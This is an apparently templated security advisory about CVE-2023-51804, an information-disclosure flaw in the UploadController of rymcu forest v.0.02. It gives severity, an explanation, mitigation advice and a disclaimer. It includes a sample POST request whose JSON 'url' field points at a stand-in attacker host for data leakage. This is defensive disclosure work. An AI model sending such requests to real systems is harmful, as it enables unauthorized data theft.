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CVE-2023-51804: Sensitive Information Disclosure Vulnerability in rymcu forest v.0.02

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Overview

This report discusses a significant vulnerability, CVE-2023-51804, detected in the rymcu forest software, version 0.02. This vulnerability allows remote attackers to obtain sensitive information through the manipulation of the HTTP body URL. It affects users and organizations utilizing rymcu forest v.0.02 and it matters due to its potential to cause system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-51804
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

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Product | Affected Versions

rymcu forest | v.0.02

How the Exploit Works

This vulnerability exploits a flaw in the com.rymcu.forest.web.api.common.UploadController file of rymcu forest v.0.02. It permits a remote attacker to manipulate the HTTP body URL, thereby gaining unauthorized access to sensitive data. This vulnerability doesn’t require any user interaction or special privileges, making it a significant threat that can be exploited easily.

Conceptual Example Code

The vulnerability might be exploited using a malicious HTTP request similar to the following:

POST /api/common/upload HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "url": "http://malicious.example.com/data-leak" }

In this hypothetical example, the attacker manipulates the URL in the HTTP body of the post request to point towards a malicious server, thereby potentially gaining access to sensitive data transferred during the upload process.

Mitigation Guidance

Affected users and organizations should apply the vendor’s patch as soon as it becomes available to mitigate this vulnerability. In the interim, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block attempts to exploit this vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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